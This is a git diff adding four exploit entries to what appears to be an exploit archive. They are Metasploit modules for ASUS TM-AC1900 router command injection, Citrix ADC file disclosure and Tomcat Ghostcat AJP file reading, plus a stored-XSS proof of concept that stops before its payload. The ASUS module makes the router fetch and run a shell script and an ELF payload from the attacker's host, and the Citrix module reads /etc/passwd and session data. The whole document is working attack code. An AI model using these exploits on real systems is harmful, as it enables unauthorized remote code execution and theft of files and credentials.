diff --git a/exploits/hardware/webapps/49036.rb b/exploits/hardware/webapps/49036.rb
new file mode 100755
index 000000000..01993c497
--- /dev/null
+++ b/exploits/hardware/webapps/49036.rb
@@ -0,0 +1,132 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpServer
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'ASUS TM-AC1900 - Arbitrary Command Execution',
+ 'Description' => %q{
+ This module exploits a code execution vulnerability within the ASUS
+ TM-AC1900 router as an authenicated user. The vulnerability is due to
+ a failure filter out percent encoded newline characters (%0a) within
+ the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses
+ the patch for CVE-2018-9285.
+
+ },
+ 'Author' =>
+ [
+ 'b1ack0wl' # vuln discovery + exploit developer
+ ],
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'linux',
+ 'Arch' => ARCH_ARMLE,
+ 'References' =>
+ [
+ # CVE which shows that this functionality has been patched before ;)
+ ['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'],
+ ['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900']
+ ],
+ 'Privileged' => true,
+ 'Targets' =>
+ [
+ # this may work on other asus routers as well, but I've only tested this on the TM-AC1900.
+ [ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199',
+ {}
+ ]
+ ],
+ 'DisclosureDate' => 'April 18, 2020',
+ 'DefaultTarget' => 0))
+ register_options(
+ [
+ OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']),
+ OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin'])
+ ])
+ end
+
+ def check_login
+ begin
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => "/Main_Analysis_Content.asp",
+ 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
+ })
+ if res and res.code == 200
+ # all good :)
+ return res
+ else
+ fail_with(Failure::NoAccess, 'Invalid password.')
+ end
+ rescue ::Rex::ConnectionError
+ fail_with(Failure::Unreachable, 'Connection failed.')
+ end
+ end
+
+ def on_request_uri(cli, request)
+ if request.uri == '/'
+ # injected command has been executed
+ print_good("Sending bash script...")
+ @filename = rand_text_alpha(16)
+ bash_script = %Q|
+ #!/bin/sh
+ wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename}
+ chmod +x /tmp/#{@filename}
+ /tmp/#{@filename} &
+ |
+ send_response(cli, bash_script)
+ else
+ # bash script has been executed. serve up the ELF file
+ exe_payload = generate_payload_exe()
+ print_good("Sending ELF file...")
+ send_response(cli, exe_payload)
+ # clean up
+ register_file_for_cleanup("/tmp/index.html")
+ register_file_for_cleanup("/tmp/#{@filename}")
+ end
+ end
+
+ def exploit
+ # make sure the supplied password is correct
+ check_login
+ if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+ srv_host = datastore['LHOST']
+ else
+ srv_host = datastore['SRVHOST']
+ end
+ print_status("Exploiting #{target.name}...")
+ @lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}"
+ start_service({'Uri' => {'Proc' => Proc.new {
+ |cli, req| on_request_uri(cli, req)
+ },
+ 'Path' => '/'
+ }})
+ begin
+ # store the cmd to be executed
+ cmd = "ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;"
+ cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html"
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+ # spaces need to be '+' and not %20, so cheap hack.exe it is.
+ # required HTTP args: SystemCmd, action_mode, and current_page
+ 'uri' => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+¤t_page=Main_Analysis_Content.asp"
+ })
+ # now trigger it via check_login
+ res = check_login
+ if res and res.code == 200
+ print_status("Waiting up to 10 seconds for the payload to execute...")
+ select(nil, nil, nil, 10)
+ end
+ rescue ::Rex::ConnectionError
+ fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+ end
+ end
+ end
\ No newline at end of file
diff --git a/exploits/hardware/webapps/49038.rb b/exploits/hardware/webapps/49038.rb
new file mode 100755
index 000000000..ace55df9c
--- /dev/null
+++ b/exploits/hardware/webapps/49038.rb
@@ -0,0 +1,170 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Scanner
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',
+ 'Description' => %{
+ The remote device is affected by multiple vulnerabilities.
+
+ An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.
+ An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit
+ this to bypass authorization (CVE-2020-8193).
+
+ And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.
+ },
+ 'Author' => [
+ 'Donny Maasland', # Discovery
+ 'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
+ ],
+ 'References' => [
+ ['CVE', '2020-8193'],
+ ['CVE', '2020-8195'],
+ ['CVE', '2020-8196'],
+ ['URL', 'https://dmaasland.github.io/posts/citrix.html'],
+ ['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],
+ ['URL', 'https://github.com/jas502n/CVE-2020-8193']
+ ],
+ 'DisclosureDate' => '2020-07-09',
+ 'License' => MSF_LICENSE,
+ 'DefaultOptions' => {
+ 'RPORT' => 443,
+ 'SSL' => true
+ }
+ ))
+
+ register_options([
+ OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),
+ OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),
+ OptString.new('TARGETURI', [true, 'Base path', '/'])
+ ])
+ end
+
+ def create_session
+ params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1'
+
+ request = {
+ 'method' => 'POST',
+ 'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}",
+ 'ctype' => 'application/xml',
+ 'headers' => {
+ 'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
+ 'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)
+ },
+ 'data' => ''
+ }
+ request = request.merge({'cookie' => @cookie}) if @cookie
+
+ response = send_request_raw(request)
+ unless response && response.code == 406
+ print_error("#{@message_prefix} - No response to session request.")
+ return
+ end
+
+ response.get_cookies
+ end
+
+ def fix_session_rand
+ response = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),
+ 'cookie' => @cookie,
+ 'vars_get' => {
+ 'sid' => 'nsroot',
+ 'username' => 'nsroot',
+ 'force_setup' => '1'
+ }
+ )
+
+ if response && response.code == 302
+ location = response.headers['location']
+
+ response = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => location,
+ 'cookie' => @cookie
+ )
+
+ return unless response && response.code == 200
+ end
+
+ response.to_s.scan(/rand = "([^"]+)"/).join
+ end
+
+ def read_lfi(path, var_rand)
+ params = "filter=path:#{path}"
+
+ request = {
+ 'method' => 'POST',
+ 'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",
+ 'cookie' => @cookie,
+ 'ctype' => 'application/xml',
+ 'headers' => {
+ 'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
+ 'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),
+ 'rand_key' => var_rand
+ },
+ 'data' => ''
+ }
+
+ response = send_request_raw(request)
+ end
+
+ def run_host(ip)
+ proto = (datastore['SSL'] ? 'https' : 'http')
+ @message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"
+
+ @cookie = create_session
+ if @cookie && @cookie =~ /SESSID/
+ print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")
+
+ var_rand = fix_session_rand
+ unless var_rand
+ print_error("#{@message_prefix} - Unable to get rand value.")
+ return Exploit::CheckCode::Unknown
+ end
+ print_status("#{@message_prefix} - Got rand: #{var_rand}")
+
+ print_status("#{@message_prefix} - Re-breaking session...")
+ create_session
+
+ case datastore['MODE']
+ when /discovery/
+ response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)
+ if response.code == 406
+ if response.body.include? ('root:*:0:0:')
+ print_warning("#{@message_prefix} - Vulnerable.")
+
+ return Exploit::CheckCode::Vulnerable
+ end
+ end
+ when /interactive/
+ # TODO: parse response
+ response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)
+ if response.code == 406
+ print_line("#{response.body}")
+ end
+
+ return
+ when /sessions/
+ # TODO: parse response
+ response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)
+ if response.code == 406
+ print_line("#{response.body}")
+ end
+
+ return
+ end
+ end
+ print_good("#{@message_prefix} - Not Vulnerable.")
+
+ return Exploit::CheckCode::Safe
+ end
+
+end
\ No newline at end of file
diff --git a/exploits/multiple/webapps/49039.rb b/exploits/multiple/webapps/49039.rb
new file mode 100755
index 000000000..9aeae5041
--- /dev/null
+++ b/exploits/multiple/webapps/49039.rb
@@ -0,0 +1,276 @@
+require "msf/core"
+
+class MetasploitModule < Msf::Auxiliary
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::Tcp
+
+ def initialize(info = {})
+ super(update_info(info,
+ "Name" => "Ghostcat",
+ "Description" => %q{
+ When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.
+ },
+ "Author" =>
+ [
+ "A Security Researcher of Chaitin Tech", #POC
+ "ThienNV - SunCSR" #Metasploit Module
+ ],
+ "License" => MSF_LICENSE,
+ "References" =>
+ [
+ [ "CVE", "2020-1938"]
+ ],
+ "Privileged" => false,
+ "Platform" => %w{ java linux win},
+ "Targets" =>
+ [
+ ["Automatic",
+ {
+ "Arch" => ARCH_JAVA,
+ "Platform" => "win"
+ }
+ ],
+ [ "Java Windows",
+ {
+ "Arch" => ARCH_JAVA,
+ "Platform" => "win"
+ }
+ ],
+ [ "Java Linux",
+ {
+ "Arch" => ARCH_JAVA,
+ "Platform" => "linux"
+ }
+ ]
+ ],
+ "DefaultTarget" => 0))
+ register_options(
+ [
+ OptString.new("FILENAME",[true,"File name","/WEB-INF/web.xml"]),
+ OptBool.new('SSL', [ true, 'SSL', false ]),
+ OptPort.new('PORTWEB', [ false, 'Set a port webserver'])
+ ],self.class)
+ end
+
+ def method2code(method)
+ methods = {
+ "OPTIONS" => 1,
+ "GET" => 2,
+ "HEAD" => 3,
+ "POST" => 4,
+ "PUT" => 5,
+ "DELETE" => 6,
+ "TRACE" => 7,
+ "PROPFIND" => 8
+ }
+ code = methods[method]
+ return code
+ end
+
+ def make_headers(headers)
+ header2code = {
+ "accept" => "\xA0\x01",
+ "accept-charset" => "\xA0\x02",
+ "accept-encoding" => "\xA0\x03",
+ "accept-language" => "\xA0\x04",
+ "authorization" => "\xA0\x05",
+ "connection" => "\xA0\x06",
+ "content-type" => "\xA0\x07",
+ "content-length" => "\xA0\x08",
+ "cookie" => "\xA0\x09",
+ "cookie2" => "\xA0\x0A",
+ "host" => "\xA0\x0B",
+ "pragma" => "\xA0\x0C",
+ "referer" => "\xA0\x0D",
+ "user-agent" => "\xA0\x0E"
+ }
+ headers_ajp = Array.new
+ for (header_name, header_value) in headers do
+ code = header2code[header_name].to_s
+ if code != ""
+ headers_ajp.append(code)
+ headers_ajp.append(ajp_string(header_value.to_s))
+ else
+ headers_ajp.append(ajp_string(header_name.to_s))
+ headers_ajp.append(ajp_string(header_value.to_s))
+ end
+ end
+ return int2byte(headers.length,2), headers_ajp
+ end
+ def make_attributes(attributes)
+ attribute2code = {
+ "remote_user" => "\x03",
+ "auth_type" => "\x04",
+ "query_string" => "\x05",
+ "jvm_route" => "\x06",
+ "ssl_cert" => "\x07",
+ "ssl_cipher" => "\x08",
+ "ssl_session" => "\x09",
+ "req_attribute" => "\x0A",
+ "ssl_key_size" => "\x0B"
+ }
+ attributes_ajp = Array.new
+ for attr in attributes
+ name = attr.keys.first.to_s
+ code = (attribute2code[name]).to_s
+ value = attr[name]
+ if code != ""
+ attributes_ajp.append(code)
+ if code == "\x0A"
+ for v in value
+ attributes_ajp.append(ajp_string(v.to_s))
+ end
+ else
+ attributes_ajp.append(ajp_string(value.to_s))
+ end
+ end
+ end
+ return attributes_ajp
+ end
+
+ def ajp_string(message_bytes)
+ message_len_int = message_bytes.length
+ return int2byte(message_len_int,2) + message_bytes + "\x00"
+ end
+
+ def int2byte(data, byte_len=1)
+ if byte_len == 1
+ return [data].pack("C")
+ else
+ return [data].pack("n*")
+ end
+ end
+
+ def make_forward_request_package(method,headers,attributes)
+
+ prefix_code_int = 2
+ prefix_code_bytes = int2byte(prefix_code_int)
+ method_bytes = int2byte(method2code(method))
+ protocol_bytes = "HTTP/1.1"
+ req_uri_bytes = "/index.txt"
+ remote_addr_bytes = "127.0.0.1"
+ remote_host_bytes = "localhost"
+ server_name_bytes = datastore['RHOST'].to_s
+
+ if datastore['SSL'] == true
+ is_ssl_boolean = 1
+ else
+ is_ssl_boolean = 0
+ end
+ server_port_int = datastore['PORTWEB']
+ if server_port_int.to_s == ""
+ server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
+ end
+ is_ssl_bytes = int2byte(is_ssl_boolean,1)
+ server_port_bytes = int2byte(server_port_int, 2)
+ headers.append(["host", "#{server_name_bytes}:#{server_port_int}"])
+ num_headers_bytes, headers_ajp_bytes = make_headers(headers)
+
+ attributes_ajp_bytes = make_attributes(attributes)
+ message = Array.new
+ message.append(prefix_code_bytes)
+ message.append(method_bytes)
+ message.append(ajp_string(protocol_bytes.to_s))
+ message.append(ajp_string(req_uri_bytes.to_s))
+ message.append(ajp_string(remote_addr_bytes.to_s))
+ message.append(ajp_string(remote_host_bytes.to_s))
+ message.append(ajp_string(server_name_bytes.to_s))
+ message.append(server_port_bytes)
+ message.append(is_ssl_bytes)
+ message.append(num_headers_bytes)
+ message += headers_ajp_bytes
+ message += attributes_ajp_bytes
+ message.append("\xff")
+ message_bytes = message.join
+ send_bytes = "\x12\x34" + ajp_string(message_bytes.to_s)
+ return send_bytes
+ end
+
+ def send_recv_once(data)
+ buf = ""
+ begin
+ connect(true, {'RHOST'=>"#{datastore['RHOST'].to_s}", 'RPORT'=>datastore['RPORT'].to_i, 'SSL'=>datastore['SSL']})
+ sock.put(data)
+ buf = sock.get_once || ""
+ rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
+ elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
+ ensure
+ disconnect
+ end
+ return buf
+ end
+
+ def read_buf_string(buf, idx)
+ len = buf[idx..(idx+2)].unpack('n')[0]
+ idx += 2
+ print "#{buf[idx..(idx+len)]}"
+ idx += len + 1
+ idx
+ end
+
+ def parse_response(buf, idx)
+ common_response_headers = {
+ "\x01" => "Content-Type",
+ "\x02" => "Content-Language",
+ "\x03" => "Content-Length",
+ "\x04" => "Date",
+ "\x05" => "Last-Modified",
+ "\x06" => "Location",
+ "\x07" => "Set-Cookie",
+ "\x08" => "Set-Cookie2",
+ "\x09" => "Servlet-Engine",
+ "\x0a" => "Status",
+ "\x0b" => "WWW-Authenticate",
+ }
+ idx += 2
+ idx += 2
+ if buf[idx] == "\x04"
+ idx += 1
+ print "Status Code: "
+ idx += 2
+ idx = read_buf_string(buf, idx)
+ puts
+ header_num = buf[idx..(idx+2)].unpack('n')[0]
+ idx += 2
+ for i in 1..header_num
+ if buf[idx] == "\xA0"
+ idx += 1
+ print "#{common_response_headers[buf[idx]]}: "
+ idx += 1
+ idx = read_buf_string(buf, idx)
+ puts
+ else
+ idx = read_buf_string(buf, idx)
+ print(": ")
+ idx = read_buf_string(buf, idx)
+ puts
+ end
+ end
+ elsif buf[idx] == "\x05"
+ return 0
+ elsif buf[idx] == "\x03"
+ idx += 1
+ puts
+ idx = read_buf_string(buf, idx)
+ else
+ return 1
+ end
+
+ parse_response(buf, idx)
+ end
+
+ def run
+ headers = Array.new
+ method = "GET"
+ target_file = datastore['FILENAME'].to_s
+ attributes = [
+ {"req_attribute" => ["javax.servlet.include.request_uri", "index"]},
+ {"req_attribute" => ["javax.servlet.include.path_info" , target_file]},
+ {"req_attribute" => ["javax.servlet.include.servlet_path" , "/"]}
+ ]
+ data = make_forward_request_package(method, headers, attributes)
+ buf = send_recv_once(data)
+ parse_response(buf, 0)
+ end
+end
\ No newline at end of file
diff --git a/exploits/multiple/webapps/49040.txt b/exploits/multiple/webapps/49040.txt
new file mode 100644
index 000000000..0445e4bc8
--- /dev/null
+++ b/exploits/multiple/webapps/49040.txt
@@ -0,0 +1,20 @@
+#Exploit Title: Touchbase.io 1.10 - Stored Cross Site Scripting
+#Date: 2020-11-11
+#Exploit Author: Simran Sankhala
+#Vendor Homepage: https://touchbase.ai/
+#Software Link: https://touchbase.ai/
+#Version: 1.1.0
+#Tested on: Windows 10
+#Proof Of Concept:
+touchbase.ai application allows stored XSS, via the 'Add User' module,
+that is rendered upon 'Contacts' page visit.
+To exploit this vulnerability:
+Steps to Reproduce:
+
+1. Login to the application, goto 'Contacts' module and add the user
+2. Inject the payload =